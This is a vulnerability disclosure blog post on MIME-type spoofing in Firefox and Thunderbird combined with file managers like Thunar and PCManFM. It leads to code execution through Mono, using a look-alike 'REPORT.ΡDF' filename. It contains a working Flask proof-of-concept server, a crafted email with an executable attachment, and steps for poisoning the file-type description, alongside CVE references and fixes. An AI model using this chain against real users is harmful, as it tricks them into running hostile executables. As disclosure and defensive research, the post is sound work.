/dev/posts/

MIME-type spoofing in Firefox/Thunderbird and file managers

Published:

Updated:

An interesting spoofing attack resulting from the interaction between Firefox (or Thunderbird) MIME types handling and file managers.

Table of content

Summary

On Firefox and Thunderbird, a user interface is used to let the user confirm which program to use to open the file. By using special Freedesktop MIME types (such as inode/directory or x-scheme-handler/trash), a remote attacker can trick the user into thinking he is about to open a file with a innocuous program (a file manager). However, when called this way, several file managers will try to call another program to handle the file which might result in the execution of another program. Depending on the program used, this might be used to trigger arbitrary code execution (eg. using Mono to trigger arbitrary code execution).

Thunar, PCManFM, PCManFM-Qt were found to exhibit this behavior.

We can use a visually confusable file name such as REPORT.ΡDF (notice the non-ASCII first letter in the extension) in order to trick the user into thinking he is opening a "safe" file type while disabling MIME-type detection based on the file name extension.

Moreover, in Firefox and Thunderbird, we can corrupt the file association database (handlers.json) in order to display a bogus file type description associated with the inode/directory or x-scheme- handler/trash MIME type. This is done by first serving a "safe" file type (such as a PDF) with this MIME type.

Vulnerabilities:

Attack scenario:

  1. user browser to a malicious web resource (/REPORT.ΡDF) or opens a malicious email attachement served with the inode/directory MIME type;
  2. based on the MIME type, the user agent suggests opening the file with a file manager (eg. PCManFM);
  3. the user does not find this very dangerous and accepts;
  4. the user agent saves the file on the filesystem and calls the file manager with the file (eg. pcmanfm ~/Downloads/REPORT.ΡDF);
  5. the file manager tries to detect the file type,
    • it fails to recognize the file extension;
    • it determines the MIME type based on the file content (eg. application/x-ms-dos-executable)
  6. the file manager spawns another program based on the MIME type (eg. mono ~/Downloads/REPORT.ΡDF);
  7. this program might trigger arbitrary code execution.

Found on:

Details

Firefox and Thunderbird accept special Freedekstop MIME types

Firefox accepts special Freedesktop MIME types (such as inode/* and x-scheme-handler/*) in Content-Type HTTP response headers and use them to choose which program to use to open the files. This can be used to let Firefox suggest using file managers to open these files. When combined with vulnerabilities in some file managers, this can be used to trick the user into opening the file with dangerous programs.

Similarly, Thunderbird accepts special Freedesktop MIME types in Content-Type e-mail headers.

This has been reported in Mozilla bug 1702821.

File type description spoofing in Firefox and Thunderbird

In addition, the Firefox/Thunderbird file type association database (handlers.json) can be manipulated by a remote attacker to associate a bogus file type description to unknown MIME types. This can be used to make it more difficult for the user to detect the attack.

This has been reported in Mozilla bug 1702821.

Thunar forwards to other programs when passed a file through CLI

When called with a regular file as a CLI argument, Thunar would try to determine its file type based on its file extension or content (magic bytes) and call any program associated with this file type. Combined with the Firefox/Thunderbird issue, this can be used to trick the used into opening a malicious file with an unintended program. This could result on arbitrary code execution.

This is CVE-2021-32563.

This is fixed in Thunar 4.16.7 and 4.17.2. When called with a regular file, Thunar now opens the containing directory and selects the file instead of automatically calling another program to handle the file. The fix introduced a regression which is fixed in 4.16.8 and 4.17.3.

PCManFM forwards to other programs when passed a file through CLI

When called with a regular file as a CLI argument, PCManFM would try to determine its file type based on its file extension or content (magic bytes) and call any program associated with this file type.

This has been reported to the maintainers and submited later on as feature request 436.

PCManFM-Qt forwards to other programs when passed a file through CLI

When called with a regular file as a CLI argument, PCManFM-Qt would try to determine its file type based on its file extension or content (magic bytes) and call any program associated with this file type.

This issue has been reported but this is not considered a vulnerability by the authors (I disagree with this but I get it). No fix has been implemented.

Proof-of-concepts

Example with Firefox with inode/directory

See the video of the basic exaple using Firefox.

Proof of concept HTTP server:

#!/usr/bin/python3

from xml.sax.saxutils import escape
from flask import Flask, request, make_response

def xmlescape(data):
    return escape(data, entities={
        "'": "'",
        "\"": """
    })

app = Flask(__name__)


# A standard PDF:
@app.route("/report.pdf")
def pdf_as_directory():
    data = open("test.pdf", "rb").read()
    response = make_response(data)
    response.content_type = "inode/directory"
    return response


# Some malicious CLR/.NET payload:
@app.route("/REPORT.ΡDF")
def directory_route_exe_as_pdf():
    data = open("test.exe", "rb").read()
    response = make_response(data)
    response.content_type = "inode/directory"
    return response


resources = [
    "/report.pdf",
    "/REPORT.ΡDF",
]


@app.route("/")
def home():
    html = "<meta charset='utf8'><ul>" + "".join([
        f"<li><a href='{xmlescape(resource)}'>{xmlescape(resource)}</a></li>"
        for resource in resources
        ])+ "</ul>"
    response = make_response(html)
    response.content_type = "text/html"
    return response

Let us see what happens under the hood:


        200 OK HTTP/1.1
        Content-Type: inode/directory
Under the hood, screenshot of Firefox with the Network dev tools showding the associated details of the HTTP response

The malicious HTTP server serves /REPORT.ΡDF file with inode/directory. This special MIME type is used by Freedesktop to represent directories. File managers usually associates themselves with this special MIME type:

[Desktop Entry]
Version=1.0
Type=Application
Exec=exo-open --launch FileManager %u
Icon=org.xfce.filemanager
StartupNotify=true
Terminal=false
Categories=Utility;X-XFCE;X-Xfce-Toplevel;
OnlyShowIn=XFCE;
X-XFCE-MimeType=inode/directory;x-scheme-handler/trash;
X-AppStream-Ignore=True

Because of this Content-Type, Firefox is going to propose opening the file with a file manager such as Thunar, PCManFM, PCManFM-Qt, Dolphin, etc.


        You have chosen to open REPORT.ΡDF which is Portail Document Format (PDF) (3.0 KB) from http://localhost:5000.
        What should Nightly do with this file?
        Open with Nightly;
        Open with Thunar File Manager (default);
        Save File.
        So this automatically for files like this from now on.
        Cancel. OK.
Screenshot of a Firefox dialog

If the user chooses "OK", the file is opened with the chosen file manager. When called with a regular file, many file managers try to find a suitable program to open the file based on its MIME type. The file type is usually found using:

  1. the file name extension if it matches any known extension;
  2. otherwise, the content of the file (magic bytes).

In order to trick the user, into accepting our file we used REPORT.ΡDF as a file name. The file extension should in theory take precedence over the content of the file for deciding which file type is used. However, the first letter of our file name extension is actually not a P but a greek capital letter rho (U+03A1).

Because this is not a well-known file name extensions, the MIME type is not infered from the file name extension but from the content of the file (magic bytes).

The file is actually not a PDF file but a .NET/CLR/Mono executable file. In Debian, when Mono is installed these files are associated with the Mono interpreter (see the desktop files in appendix). The file managers calls the mono interpreter to open (actually execute) the file leading to arbitrary code execution on the machine.

The following file managers exbibit this behavior:

Advanced example using Firefox and file type description spoofing

See the video of the advanced attack using Firefox, with file type description spoofing.

You might wonder why the Firefox UI is showing “Portable File Document” for the file served as inode/directory. This can be achieved by tricking Firefox into associating the “Portable File Document” description to the inode/directory special MIME type.

In order to do with, we first serve the a valid PDF using Content-Type: inode/directory to the user. After this, Firefox associates the “Portable File Document” label with inode/directory in handlers.json:

{
    // ...
    "mimeTypes": {
        // ...
        "inode/directory": {
            "action": 4,
            "extensions": [
                "pdf"
            ],
            "ask": true
        },
        "inode/directory": {
            "action": 2,
            "extensions": [
                "pdf"
            ],
            "handlers": [
                {
                    "name": "Gestionnaire de fichiers Thunar",
                    "path": "/usr/bin/thunar"
                },
                {
                    "name": "Gestionnaire de fichiers PCManFM",
                    "path": "/usr/bin/pcmanfm"
                }
            ],
            "ask": true
        }
    }
    // ...
}

This can be seen in user interface as well:


        Content Type: Portable Document Format (PDF) (inode/directory)
        Action: Use Thunar File Manager (default)
Screenshot of Firefox application association configurations showing the `inode/directory` mislabelled as "Portable Document Format" (PDF) and associated with Thunar

The video shows that the label associated with inode/directory changes changes from “directory” to “Portable Document Format” after the user opens a valid PDF file served with the inode/directory Content-Type.

Example with Firefox with x-scheme-handler/trash

The same behavior happens with x-scheme-handler/trash. This is used to associated the trash: URI scheme (user tash) with file managers.

Example with Thunderbird

See the video of the basic example using Thunderbird.

The same kind of behavior can be achieved using Thunderbird.

To: Bob <bob@example.com>
From: Alice <alice@example.com>
Subject: Test
Message-ID: <9d3781d2-b165-4bf8-99ec-7f9c56372f52@example.com>
Date: Thu, 13 May 2021 09:05:40 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
 Thunderbird/78.10.0
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------99C154C06B53866E3351CA8D"
Content-Language: en-US

This is a multi-part message in MIME format.
--------------99C154C06B53866E3351CA8D
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit



--------------99C154C06B53866E3351CA8D
Content-Type: inode/directory
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="test.ΡDF"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAAAgELAQgAAAQAAAAG
AAAAAAAAjiMAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAA
...
Screenshot of Thunderbird proposing to open a CLR executable file passing as a PDF file using Thunar

Recommendations

Cient applications

Client applications such as web browsers and email client should probably ignore these special MIME types in Content-Type headers (or similar fields) when choosing which program to use to open a file. These MIME types are not expected to be found in this context and do not make sense in this case. The presence of these special MIME types in HTTP or e-mail Content-Type headers should be considered an attempt at a spoofing attack.

File Managers

File managers should not delegate to other programs when called with a regular file as a CLI argument. Other commands exist for this purpose (xdg-open, exo-open, etc.).

I do not believe that the user expects thunar hello.exe to actually execute the program (especially without confirmation). I would expect this command to open a file manager window in the parent directory instead and possibly pre-select the file.

Note that another exploitations of this type of behavior has been disclosed recently.

Some file managers have a more secure behavior when invoked with a regular file as argument:

File handlers programs

It is dangerous for program to associate themselves with file types if opening these file can lead to arbitrary code execution without confirmation. Programs which can trigger arbitrary code execution when opening files should probably implement some confirmation when invoked through file type association.

The Freedesktop specifications should probably warn about this.

User

If you are using Firefox, you might want to check that Firefox is configured to save downloaded file instead of opening them directly.

References

Appendix, Desktop files

xfce4-file-manager.desktop:

[Desktop Entry]
Version=1.0
Type=Application
Exec=exo-open --launch FileManager %u
Icon=org.xfce.filemanager
StartupNotify=true
Terminal=false
Categories=Utility;X-XFCE;X-Xfce-Toplevel;
OnlyShowIn=XFCE;
X-XFCE-MimeType=inode/directory;x-scheme-handler/trash;
X-AppStream-Ignore=True

thunar.destop:

[Desktop Entry]
Name=Thunar File Manager
Comment=Browse the filesystem with the file manager
Exec=thunar %F
Icon=org.xfce.thunar
Terminal=false
StartupNotify=true
Type=Application
MimeType=inode/directory

pcmanfm.desktop:

[Desktop Entry]
Type=Application
Icon=system-file-manager
Name=File Manager PCManFM
GenericName=File Manager
Comment=Browse the file system and manage the file
Categories=System;FileTools;FileManager;Utility;Core;GTK;
Exec=pcmanfm %U
StartupNotify=true
Terminal=false
MimeType=inode/directory;

pcmanfm-qt.desktop:

[Desktop Entry]
Type=Application
Name=PCManFM-Qt File Manager
GenericName=File Manager
Comment=Browse the file system and manage the files
Exec=pcmanfm-qt %U
MimeType=inode/directory;
Icon=system-file-manager
Categories=FileManager;Utility;Core;Qt;
StartupNotify=true

mono-runtime-common.desktop:

[Desktop Entry]
Name=Mono Runtime
Exec=mono
Terminal=false
Type=Application
Icon=mono-runtime-common
MimeType=application/x-ms-dos-executable;
NoDisplay=true